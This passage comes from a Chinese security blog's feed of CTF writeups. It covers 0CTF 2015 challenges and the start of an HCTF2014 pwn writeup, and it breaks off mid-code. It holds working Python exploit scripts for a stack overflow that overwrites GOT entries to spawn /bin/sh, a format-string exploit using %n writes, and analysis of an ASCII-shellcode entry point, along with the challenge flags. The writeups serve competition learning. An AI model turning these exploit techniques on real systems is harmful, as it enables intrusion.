class="line">x=A(:,1);y=A(:,2);z=A(:,3);</span><br><span class="line">scatter3(x,y,z,&apos;.&apos;)</span><br></pre></td></tr></table></figure></p><p>慢慢的旋转猜出flag</p><h1 id="geo-newbie"><a href="#geo-newbie" class="headerlink" title="geo newbie"></a>geo newbie</h1><p>我的地理知识涨了不少</p><blockquote><p>Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995</p></blockquote><p>上去以后问你xxx是哪里的，用国家2字母简称表达。 前20轮给国家，21-70给地名，70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line">correct = &#123;</span><br><span class="line"><span class="string">'Palestine, State of'</span> : <span class="string">'PS'</span>,</span><br><span class="line"><span class="string">'Norfolk Island'</span>:<span class="string">'NF'</span>,</span><br><span class="line"><span class="string">'Alexandria'</span>:<span class="string">'EG'</span>,</span><br><span class="line"><span class="string">'Antarctica'</span>:<span class="string">'AQ'</span>,</span><br><span class="line"><span class="string">'Micronesia'</span>:<span class="string">'FM'</span>,</span><br><span class="line"><span class="string">'Naples'</span>:<span class="string">'IT'</span>,</span><br><span class="line"><span class="string">'Mount Olympus'</span>:<span class="string">'GR'</span>,</span><br><span class="line"><span class="string">'Hyde Park'</span>:<span class="string">'GB'</span>,</span><br><span class="line"><span class="string">'Georgia'</span>:<span class="string">'GE'</span>,</span><br><span class="line"><span class="string">'Micronesia (Federated States of)'</span>:<span class="string">'FM'</span>,</span><br><span class="line"><span class="string">'Korea (Republic of)'</span>:<span class="string">'KR'</span>,</span><br><span class="line"><span class="string">'Holy See'</span>:<span class="string">'VA'</span>,</span><br><span class="line"><span class="string">'Tanzania, United Republic of'</span>:<span class="string">'TZ'</span>,</span><br><span class="line"><span class="string">'Macedonia (the former Yugoslav Republic of)'</span>:<span class="string">'MK'</span>,</span><br><span class="line"><span class="string">'Volga'</span>:<span class="string">'RU'</span>,</span><br><span class="line"><span class="string">'Lego'</span>:<span class="string">'DK'</span>,</span><br><span class="line"><span class="string">'Virgin Islands (British)'</span>:<span class="string">'VG'</span>,</span><br><span class="line"><span class="string">'Rickshaw capital of the world'</span>:<span class="string">'BD'</span>,</span><br><span class="line"><span class="string">'Melbourne'</span>:<span class="string">'AU'</span>,</span><br><span class="line"><span class="string">'Vancouver'</span>:<span class="string">'CA'</span>,</span><br><span class="line"><span class="string">'Korea (Democratic People'</span>s Republic of)<span class="string">':'</span>KP<span class="string">',</span></span><br><span class="line"><span class="string">'</span>Jiuzhaigou Valley<span class="string">':'</span>CN<span class="string">',</span></span><br><span class="line"><span class="string">'</span>Georgia<span class="string">':'</span>GE<span class="string">',</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">target = (('</span><span class="number">202.112</span><span class="number">.28</span><span class="number">.118</span><span class="string">',29995))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def geo(query):</span></span><br><span class="line">url = 'http://maps.googleapis.com/maps/api/geocode/json?address=%s&amp;sensor=true_or_false' % query</span><br><span class="line">r = requests.get(url)</span><br><span class="line">result = json.loads(r.text)</span><br><span class="line"><span class="comment"># print result</span></span><br><span class="line"><span class="keyword">for</span> com <span class="keyword">in</span> result[<span class="string">'results'</span>][<span class="number">0</span>][<span class="string">'address_components'</span>]:</span><br><span class="line"><span class="keyword">if</span> <span class="string">"country"</span> <span class="keyword">in</span> com[<span class="string">'types'</span>]:</span><br><span class="line"><span class="keyword">return</span> com[<span class="string">'short_name'</span>]</span><br><span class="line"></span><br><span class="line">io = zio(target, timeout=<span class="number">100000</span>,</span><br><span class="line">print_read=COLORED(REPR,<span class="string">'red'</span>),</span><br><span class="line">print_write=COLORED(REPR,<span class="string">'green'</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment"># level 1</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">70</span>):</span><br><span class="line">buf = io.read_until(<span class="string">':'</span>)</span><br><span class="line">country_name = re.findall(<span class="string">r'n(.+)?:'</span>, buf)[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># print country_name</span></span><br><span class="line"><span class="comment"># country = pycountry.countries.get(name=country_name)</span></span><br><span class="line"><span class="comment"># io.writeline(country_ascii2_dict[country_name])</span></span><br><span class="line"><span class="keyword">if</span> country_name <span class="keyword">in</span> correct:</span><br><span class="line">io.writeline(correct[country_name])</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io.writeline(geo(country_name))</span><br><span class="line"></span><br><span class="line"><span class="comment"># load</span></span><br><span class="line">level2 = &#123;&#125;</span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'level2'</span>) <span class="keyword">as</span> f:</span><br><span class="line">level2 = json.loads(f.read())</span><br><span class="line"></span><br><span class="line">buf = io.read_until(<span class="string">':'</span>)</span><br><span class="line"><span class="comment"># level 2</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">30</span>):</span><br><span class="line">question = re.findall(<span class="string">r'n(.+)?:'</span>, buf)[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">if</span> question <span class="keyword">in</span> level2:</span><br><span class="line">ans = level2[question]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">ans = raw_input()</span><br><span class="line">ans = ans.strip().split(<span class="string">','</span>)</span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> ans:</span><br><span class="line"><span class="keyword">if</span> c <span class="keyword">in</span> correct:</span><br><span class="line">io.writeline(correct[c])</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io.writeline(geo(c))</span><br><span class="line">buf = io.read_until(<span class="string">':'</span>)</span><br><span class="line">level2[question] = ans</span><br><span class="line"><span class="keyword">except</span> Exception, e:</span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'level2'</span>,<span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line">f.write(json.dumps(level2))</span><br><span class="line"><span class="keyword">print</span> e</span><br><span class="line">exit()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'level2'</span>,<span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line">f.write(json.dumps(level2))</span><br><span class="line"></span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag:<strong>0CTF{eNj0y_geography_l0v3_7hE_w0lRd}</strong></p><h1 id="peers"><a href="#peers" class="headerlink" title="peers"></a>peers</h1><blockquote><p>peers :P 一个pcap文件</p></blockquote><p>打开发现是bt传输文件的流量。搜索下发现与<a href="http://eindbazen.net/2012/05/plaid-ctf-2012-torrent/" target="_blank" rel="noopener">Plaid CTF 2012 – Torrent</a>类似。 不过有个坑，就是用到80端口，wireshark把它认成了HTTP请求，影响了服务解析。只要把enable service里HTTP给去掉就好了。</p><blockquote><p>PS. 朋友圈看到有人把那个分片的传输数据剪出来拼起来了。给各位大神跪了。。。  <a href="http://yuf4n.net/wp-content/uploads/2015/03/peerliang.jpg" target="_blank" rel="noopener"><img src="http://yuf4n.net/wp-content/uploads/2015/03/peerliang.jpg" alt="peerliang"></a></p></blockquote><h1 id="FlagGenerator"><a href="#FlagGenerator" class="headerlink" title="FlagGenerator"></a>FlagGenerator</h1><blockquote><p>Can you generate the correct flag? flagen libc.so.6 202.112.26.106:5149 202.112.28.115:5149 Notice: Ubuntu 14.04.2 LTS</p></blockquote><h2 id="漏洞发现"><a href="#漏洞发现" class="headerlink" title="漏洞发现"></a>漏洞发现</h2><pre><code>RELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH flagen</code></pre><p>这个是个花式flag生成器。问题出再fun4，把字符转成数字例如把’a’转成’4’，就比如yufan变成yuf4n(其实是用户名已注册…)。其中把h变化为’1-1’。一个字符变3个字符就栈溢出了。。。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>利用那个扩展在输入里填一些hhh就能造成溢出。就是有个canary。</p><pre><code>strcpy(dest, &amp;src);return *MK_FP(__GS__, 20) ^ v18;</code></pre><p>注意在之后有一个从栈里src考数据到分配的对指针dest的调用。dest是函数传进来的，栈溢出的时候可以改到。 利用步骤</p><ol><li>利用那个strcpy将GOT中check_stack_fail函数地址改掉绕过stack smash check，顺带将system地址覆盖GOT中atoi。(简单粗暴地爆破system地址)</li><li>栈溢出将eip控制到sub_804873E，直接利用atoi调用system(‘/bin/sh’)获得shell</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">checkfail_got = <span class="number">0x0804B01C</span></span><br><span class="line">brute_system = <span class="number">0xf75de190</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># target = ('./flagen')</span></span><br><span class="line">target = ((<span class="string">'202.112.28.115'</span>, <span class="number">5149</span>))</span><br><span class="line"></span><br><span class="line">copyto = <span class="string">''</span></span><br><span class="line">copyto += l32(brute_system)*<span class="number">10</span></span><br><span class="line"></span><br><span class="line">p = <span class="string">''</span></span><br><span class="line">p += l32(ret)</span><br><span class="line">p += copyto</span><br><span class="line">p += <span class="string">'a'</span>*(<span class="number">48</span> -len(copyto)<span class="number">-4</span>)</span><br><span class="line">p += <span class="string">'h'</span> * <span class="number">40</span> + <span class="string">'a'</span>*<span class="number">100</span></span><br><span class="line"></span><br><span class="line">p += l32(checkfail_got + <span class="number">4</span>) <span class="comment">#ebp</span></span><br><span class="line">p += l32(<span class="number">0x804873E</span>) <span class="comment"># eip</span></span><br><span class="line">p += l32(checkfail_got) <span class="comment"># dest</span></span><br><span class="line"></span><br><span class="line">cnt = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="keyword">print</span> cnt</span><br><span class="line">cnt += <span class="number">1</span></span><br><span class="line">io = zio(target, timeout=<span class="number">100000</span>,</span><br><span class="line">print_read=COLORED(REPR,<span class="string">'red'</span>),</span><br><span class="line">print_write=COLORED(REPR,<span class="string">'green'</span>)</span><br><span class="line">)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(p)</span><br><span class="line"><span class="comment"># io.gdb_hint()</span></span><br><span class="line">io.writeline(<span class="string">'4'</span>)</span><br><span class="line">io.writeline(<span class="string">'/bin/sh'</span>)</span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag:<strong>0ctf{delicious_stack_cookie_generates_flag}</strong></p><h1 id="login"><a href="#login" class="headerlink" title="login"></a>login</h1><blockquote><p>Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910</p></blockquote><blockquote></blockquote><blockquote><p>Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.</p></blockquote><h2 id="漏洞发现-1"><a href="#漏洞发现-1" class="headerlink" title="漏洞发现"></a>漏洞发现</h2><pre><code>RELRO STACK CANARY NX PIE RPATH RUNPATH FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login</code></pre><p>利用guest，guest123登陆。用户名用一个全局buffer存储，最后一位有个标志为初始设置成0。 之后可以通过fun2修改用户，而且可以修改到标志位。 然后可以用fun4<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">void __noreturn fun4_sub_103B()</span><br><span class="line">&#123;</span><br><span class="line">__int64 v0; // rax@1</span><br><span class="line">__int64 strpt; // rsi@1</span><br><span class="line">__int64 v2; // rax@4</span><br><span class="line">__int64 v3; // rsi@4</span><br><span class="line">char v4; // [sp+0h] [bp-220h]@1</span><br><span class="line">char czUser; // [sp+10h] [bp-210h]@1</span><br><span class="line">char czPassword; // [sp+110h] [bp-110h]@1</span><br><span class="line">__int64 v7; // [sp+218h] [bp-8h]@1</span><br><span class="line"></span><br><span class="line">v7 = *MK_FP(__FS__, 40LL);</span><br><span class="line">printf(&quot;Login: &quot;);</span><br><span class="line">safe_read_sub_CB5((__int64)&amp;czUser, 256);</span><br><span class="line">printf(&quot;Password: &quot;, 256LL);</span><br><span class="line">safe_read_sub_CB5((__int64)&amp;czPassword, 256);</span><br><span class="line">v0 = strlen(&amp;czPassword);</span><br><span class="line">MD5((__int64)&amp;czPassword, v0, (__int64)&amp;v4);</span><br><span class="line">strpt = (__int64)&quot;root&quot;;</span><br><span class="line">if ( !strcmp(&amp;czUser, &quot;root&quot;) )</span><br><span class="line">&#123;</span><br><span class="line">strpt = (__int64)&quot;0ops&#123;secret_MD5&#125;&quot;;</span><br><span class="line">if ( !memcmp(&amp;v4, &quot;0ops&#123;secret_MD5&#125;&quot;, 16uLL) )</span><br><span class="line">showflag_sub_FB3();</span><br><span class="line">&#125;</span><br><span class="line">printf(&amp;czUser, strpt); // formatstring attack</span><br><span class="line">puts(&quot; login failed.&quot;);</span><br><span class="line">puts(&quot;1 chance remaining.&quot;);</span><br><span class="line">printf(&quot;Login: &quot;);</span><br><span class="line">safe_read_sub_CB5((__int64)&amp;czUser, 256);</span><br><span class="line">printf(&quot;Password: &quot;, 256LL);</span><br><span class="line">safe_read_sub_CB5((__int64)&amp;czPassword, 256);</span><br><span class="line">v2 = strlen(&amp;czPassword);</span><br><span class="line">MD5((__int64)&amp;czPassword, v2, (__int64)&amp;v4);</span><br><span class="line">v3 = (__int64)&quot;root&quot;;</span><br><span class="line">if ( !strcmp(&amp;czUser, &quot;root&quot;) )</span><br><span class="line">&#123;</span><br><span class="line">v3 = (__int64)&quot;0ops&#123;secret_MD5&#125;&quot;;</span><br><span class="line">if ( !memcmp(&amp;v4, &quot;0ops&#123;secret_MD5&#125;&quot;, 0x10uLL) )</span><br><span class="line">showflag_sub_FB3();</span><br><span class="line">&#125;</span><br><span class="line">printf(&amp;czUser, v3);</span><br><span class="line">puts(&quot; login failed.&quot;);</span><br><span class="line">puts(&quot;Threat detected. System shutdown.&quot;);</span><br><span class="line">exit(1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>存在格式化字符串攻击</p><h2 id="漏洞利用-1"><a href="#漏洞利用-1" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>程序可以调用两次format string之后就调用exit(1)退出了。并且Full RELRO，所以可能的方法就是修改到libc加载的函数指针。提供方便的是程序里有打印flag的函数。 首先，通过调试发现寄存器里存在地址相关的信息，可以通过%016lx打印出来，栈相关的地址信息也有。程序加载的基址可以得到。栈里buffer的内容可以自己控制。通过读GOT表也能算出libc加载的基址和相对偏移。 要先写个程序把libc的相对偏移算出来。</p><blockquote><p>这边做的时候SB了看有提示ubuntu 14.04.2正好系统一样，就通过程序加载的地址直接算libc的基址，可能服务器有沙箱加载地址有变化结果本地可以远程一直不行……</p></blockquote><p>之后使用printf就通过%n修改libc的函数指针，之后就等flag了……</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">dist_text_libcbasew = <span class="number">0x13acd000</span> - <span class="number">0x3be000</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># target = ('./login')</span></span><br><span class="line">target = ((<span class="string">'202.112.26.107'</span>,<span class="number">10910</span>))</span><br><span class="line"></span><br><span class="line">io = zio(target, timeout=<span class="number">100000</span>,</span><br><span class="line">print_read=COLORED(REPR,<span class="string">'red'</span>),</span><br><span class="line">print_write=COLORED(REPR,<span class="string">'green'</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">io.writeline(<span class="string">'guest'</span>)</span><br><span class="line">io.writeline(<span class="string">'guest123'</span>)</span><br><span class="line">io.read_until(<span class="string">'Your choice:'</span>)</span><br><span class="line">io.writeline(<span class="string">'2'</span>)</span><br><span class="line">io.writeline(<span class="string">'a'</span>*<span class="number">256</span>)</span><br><span class="line">io.read_until(<span class="string">'Your choice:'</span>)</span><br><span class="line">io.writeline(<span class="string">'4'</span>)</span><br><span class="line">io.writeline(<span class="string">'%016lx%016lx%016lx'</span>)</span><br><span class="line">io.read_until(<span class="string">'Password: '</span>)</span><br><span class="line">io.gdb_hint()</span><br><span class="line">io.writeline(<span class="string">'1234'</span>)</span><br><span class="line"></span><br><span class="line">baddr = io.read(<span class="number">16</span>*<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">textbase = int(baddr[:<span class="number">16</span>],<span class="number">16</span>)</span><br><span class="line">textbase = textbase<span class="number">-0x1490</span></span><br><span class="line">retaddr = textbase - dist_text_libcbasew + <span class="number">0x38</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># gen p</span></span><br><span class="line">sum = <span class="number">0</span></span><br><span class="line">p = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">8</span>):</span><br><span class="line">t = (fun &gt;&gt; i*<span class="number">8</span>) &amp; <span class="number">0xff</span></span><br><span class="line">t = <span class="number">0x100</span> * i + t - sum</span><br><span class="line">sum += t</span><br><span class="line">p += <span class="string">'%0'</span></span><br><span class="line">p += str(t)</span><br><span class="line">p += <span class="string">'x'</span></span><br><span class="line">p += <span class="string">'%'</span></span><br><span class="line">p += <span class="string">'%d'</span> % (<span class="number">40</span> + i)</span><br><span class="line">p += <span class="string">'$n'</span></span><br><span class="line"></span><br><span class="line">p2 = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">8</span>):</span><br><span class="line">p2 += l64(retaddr+i)</span><br><span class="line"></span><br><span class="line">io.writeline(p)</span><br><span class="line">io.read_until(<span class="string">'Password: '</span>)</span><br><span class="line">io.writeline(p2)</span><br><span class="line"></span><br><span class="line">io.read_until(<span class="string">'0ctf'</span>)</span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag:<strong>0ctf{login_success_and_welcome_back}</strong></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;没怎么做alictf，做了0ctf。渣渣又被虐了……分享下writeup……&lt;/p&gt;
&lt;h1 id=&quot;oldcrypto&quot;&gt;&lt;a href=&quot;#oldcrypto&quot; class=&quot;headerlink&quot; title=&quot;oldcrypto&quot;&gt;&lt;/a&gt;oldcrypto&lt;/h1
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="0ctf" scheme="https://blog.eadom.net/tags/0ctf/"/>
    
  </entry>
  
  <entry>
    <title>HCTF2014 FINAL 之pwn题qoobee1-6 writeup</title>
    <link href="https://blog.eadom.net/writeups/hctf2014final-qoobee-writeup/"/>
    <id>https://blog.eadom.net/writeups/hctf2014final-qoobee-writeup/</id>
    <published>2015-01-11T13:16:34.000Z</published>
    <updated>2025-11-21T12:45:50.773Z</updated>
    
    <content type="html"><![CDATA[<p>整理题目的时候把HCTF2014 FINAL的qoobee全部做了一遍。 做的时候没有顺序，利用代码也没好好写。。。超级乱。。。看者见谅。。。</p><h1 id="Qoobee"><a href="#Qoobee" class="headerlink" title="Qoobee"></a>Qoobee</h1><h2 id="利用分析"><a href="#利用分析" class="headerlink" title="利用分析"></a>利用分析</h2><p>其实程序还隐藏了一个-214号功能</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl fun214\_sub_80495A9()</span><br><span class="line">&#123;</span><br><span class="line">  FILE *v0; <span class="comment">// ST34_4@7</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@8</span></span><br><span class="line">  <span class="keyword">char</span> v2; <span class="comment">// \[sp+Bh\] \[bp-1Dh\]@3</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v3; <span class="comment">// \[sp+Ch\] \[bp-1Ch\]@1</span></span><br><span class="line">  <span class="keyword">void</span> *haystack; <span class="comment">// \[sp+18h\] \[bp-10h\]@1</span></span><br><span class="line"></span><br><span class="line">  v3 = <span class="number">0</span>;</span><br><span class="line">  haystack = mmap((<span class="keyword">void</span> *)<span class="number">0x80000000</span>, <span class="number">0x1000</span>u, <span class="number">7</span>, <span class="number">50</span>, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Oh! You can leave a message for author(the real QooBee) here: "</span>);</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">150</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v2 = getchar();</span><br><span class="line">    <span class="keyword">if</span> ( (\*\_\_ctype\_b\_loc())\[v2\] &amp; <span class="number">0x400</span> || (\*\_\_ctype\_b\_loc())\[v2\] &amp; <span class="number">0x800</span> )</span><br><span class="line">      *((_BYTE *)haystack + v3++) = v2;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( sub_8048CD0(v2) );</span><br><span class="line">  v0 = fopen(<span class="string">"/tmp/qoobee/message_log"</span>, <span class="string">"a+"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(v0, <span class="string">"%sn"</span>, haystack);</span><br><span class="line">  fclose(v0);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strstr</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)haystack, <span class="string">"ymkelwin"</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    result = ((<span class="keyword">int</span> (*)(<span class="keyword">void</span>))haystack)();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"Received: %sn"</span>, haystack);</span><br><span class="line">    result = <span class="built_in">puts</span>(<span class="string">"Thank you!"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以执行代码，需要构造全ascii的shellcode，字符串里要含有ymkelwin(yinmo kelwin?LEOC和kelwin不能说的秘密?)</p><h2 id="利用代码"><a href="#利用代码" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">function -214 </span></span><br><span class="line"><span class="string">patched in qoobee2</span></span><br><span class="line"><span 